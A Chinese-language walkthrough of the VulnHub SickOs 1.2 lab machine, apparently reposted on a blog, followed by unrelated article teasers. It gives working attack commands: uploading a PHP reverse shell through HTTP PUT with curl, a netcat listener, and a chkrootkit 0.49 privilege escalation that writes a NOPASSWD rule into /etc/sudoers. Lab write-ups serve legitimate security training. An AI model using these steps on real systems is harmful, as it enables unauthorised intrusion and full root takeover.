SickOs 1.2靶机(超详细教学)

embedded/2025/2/14 0:53:29/

靶机地址:https://www.vulnhub.com/entry/sickos-12,144/

一、主机发现

使用

arp-scan -l

查找靶机ip地址

靶机ip地址为192.168.55.146

攻击机的ip地址为192.168.55.129

二、进行端口扫描、目录枚举、指纹识别

1.端口扫描

nmap 192.168.55.146

发现靶机只有22和80端口

2.目录枚举

dirb http://192.168.55.146

3.指纹识别

常用命令:

nmap 192.168.55.146 -sV -sC -O --version-all

三、进入靶机网页进行信息收集

网页中没有功能点,没有其它的信息

四、反弹shell

我们回到刚刚的目录扫描中发现页面中有一个敏感目录:

http://192.168.55.146/test/

访问此url发现这是一个目录列表,还有一个版本信息

搜了一下lighttpd的漏洞,发现没有什么能够利用的

补充知识:

curl(Client URL)是一个用于传输数据的工具,它支持多种协议,包括 HTTP、HTTPS、FTP、FTPS、SCP、SFTP、TFTP、DICT、TELNET、LDAP 等。其主要用途是通过指定的协议从服务器上获取数据或向服务器发送数据,而不需要用户手动进行复杂的网络交互操作。

这里使用curl检查目录test上可用的HTTP方法

curl -v -X OPTIONS http://192.168.55.146/test命令解释:
-v:即 --verbose,表示开启详细模式。使用该选项后,curl 会输出更多关于请求和响应的详细信息,包括请求头、响应头、传输过程等,有助于调试和了解请求的具体情况。
-X OPTIONS:-X 选项用于指定 HTTP 请求方法,这里指定的方法是 OPTIONS。OPTIONS 是一种 HTTP 请求方法,客户端使用它可以向服务器询问针对特定资源所支持的请求方法,或者服务器的一些通用功能。简单来说,客户端可以通过发送 OPTIONS 请求来了解服务器对于某个资源可以接受哪些操作(如 GET、POST、PUT 等)。当执行这个命令后,终端会输出详细的请求和响应信息

此处发现可以使用PUT上传文件

首先打开/usr/share/webshells/php/php-reverse-shell.php文件,这个是一个反弹shell的php文件,将其中的ip改为自己的攻击机ip,端口设置为443端口(8888之类的端口不能反弹,可能是防火墙不允许这种非常用端口)

进行文件上传:

curl --upload-file php-reverse-shell.php -v --url http://192.168.55.146/test/a.php -0 --http1.0此命令是将桌面上的反弹shell的文件上传到网站中并命名为a.php

在桌面中再开一个终端进行443端口的监听

nc -lvvp 443

开启监听后在网页中访问a.php文件

反弹shell成功

五、提权

使用命令开启交互式终端,可以看到回显信息:

python -c 'import pty; pty.spawn("/bin/bash")'

进行信息收集:

lsb_release -a

补充知识:

linux 系统则是由 cron (crond) 这个系统服务来控制的。Linux系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。另外, 由于使用者自己也可以设置计划任务,所以, Linux系统也提供了使用者控制计划任务的命令 :crontab 命令。

基于此我们可以查看计划任务:

ls -l /etc/cron*

chkrootkit 是一款在类 Unix 系统(包括 Kali Linux)中广泛使用的开源工具,主要用于检测系统是否被植入了 Rootkit

查看此工具的版本,并检查是否有漏洞

查看到是0.49版本

发现存在漏洞

将exp拷贝到桌面

根据漏洞可知,靶机中的文件 /tmp/update 将以 root 身份执行

进入tmp目录后发现没有update目录,我们创建一个update文件,然后在其中插入提权语句

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update命令解释:
chmod 777 /etc/sudoers:
chmod 是用于修改文件权限的命令。
777 表示赋予文件所有者、所属组和其他用户读、写、执行的所有权限。
/etc/sudoers 文件默认权限通常为 440,仅允许 root 用户读写,此步骤是为了后续能够向该文件写入内容。echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers:
echo 用于输出字符串。
"www-data ALL=NOPASSWD: ALL" 是 sudoers 文件的一条规则,意味着 www-data 用户在使用 sudo 执行命令时无需输入密码。
>> 是追加重定向符号,将 echo 输出的内容追加到 /etc/sudoers 文件的末尾。chmod 440 /etc/sudoers:
恢复 /etc/sudoers 文件的原始权限,即文件所有者和所属组有读权限,其他用户没有任何权限。这是为了保证文件的安全性,防止非授权用户对其进行修改。

继续执行:

chmod 777 /tmp/update
ls -la /etc/sudoers

可以执行两次ls -la /etc/sudoers命令,两次命令中间需要间隔2分钟左右,文件大小改变后说明文件执行,我们也就获得了root权限

文件大小改变后输入以下命令即可:

sudo -l
sudo su

提权成功!


http://www.ppmy.cn/embedded/162003.html

相关文章

机器学习数学基础:22.对称矩阵的对角化

一、核心概念详解 (一)内积 定义与公式:在 n n n维向量空间中,对于向量 x ⃗ ( x 1 , x 2 , ⋯ , x n ) \vec{x}\ (x_1,x_2,\cdots,x_n) x (x1​,x2​,⋯,xn​)和 y ⃗ ( y 1 , y 2 , ⋯ , y n ) \vec{y}\ (y_1,y_2,\cdots,y_…

性格测评小程序01需求分析

目录 1 MBTI 性格测评工具2 MBTI 的四个核心维度3 测评搭建的思路3.1 【外向 vs 内向(E/I)】(10 题,每题得分范围:0.5~3.2,较高数值表示偏向外向)3.2 【感觉 vs 直觉(S/N…

Django开发入门 – 4.创建Django app

Django开发入门 – 4.创建Django app Create A Django App Under An Existing Project By JacksonML 1. 什么是Django app? Django项目面向Web应用程序,它会由一个或多个子模块组成,这些子模块称为apps。 Django apps负责执行完整Web应用程序中涉及…

CEF132编译指南 MacOS 篇 - 构建 CEF (六)

1. 引言 经过前面一系列的精心准备,我们已经完成了所有必要的环境配置和源码获取工作。本篇作为 CEF132 编译指南系列的第六篇,将详细介绍如何在 macOS 系统上构建 CEF132。通过配置正确的编译命令和参数,我们将完成 CEF 的构建工作&#xf…

【DeepSeek】DeepSeek小模型蒸馏与本地部署深度解析DeepSeek小模型蒸馏与本地部署深度解析

一、引言与背景 在人工智能领域,大型语言模型(LLM)如DeepSeek以其卓越的自然语言理解和生成能力,推动了众多应用场景的发展。然而,大型模型的高昂计算和存储成本,以及潜在的数据隐私风险,限制了…

关于 IoT DC3 中设备(Device)的理解

在物联网系统中,设备(Device)是一个非常宽泛的概念,它可以指代任何能够接入系统并进行数据交互的实体。包括但不限于手机、电脑、服务器、网关、硬件设备甚至是某些软件程序等所有能接入到该平台的媒介。 内容 定义 目的 示例 …

Rocketmq 和 Rabbitmq ,在多消费者的情况下,可以实现顺序消费吗

在多消费者的情况下,RocketMQ 和 RabbitMQ 都可以实现顺序消费,但它们的实现机制和适用场景有所不同。以下是对两者的详细分析和对比: 1. RocketMQ 的顺序消费 1.1 实现机制 顺序消息:RocketMQ 支持顺序消息(Orderly …

设计模式(一):设计原则、常用设计模式

1. 设计原则 SOLID原则-SRP单一职责原则:一个类或者模块只负责完成一个职责(或者功能)。 SOLID原则-OCP开闭原则:如果要添加一个新的功能,能够在已有代码基础上直接扩展代码,而不用修改已有代码就能实现,那么就符合“扩展开放、对修改关闭”原则。 SOLID原则-LSP里式…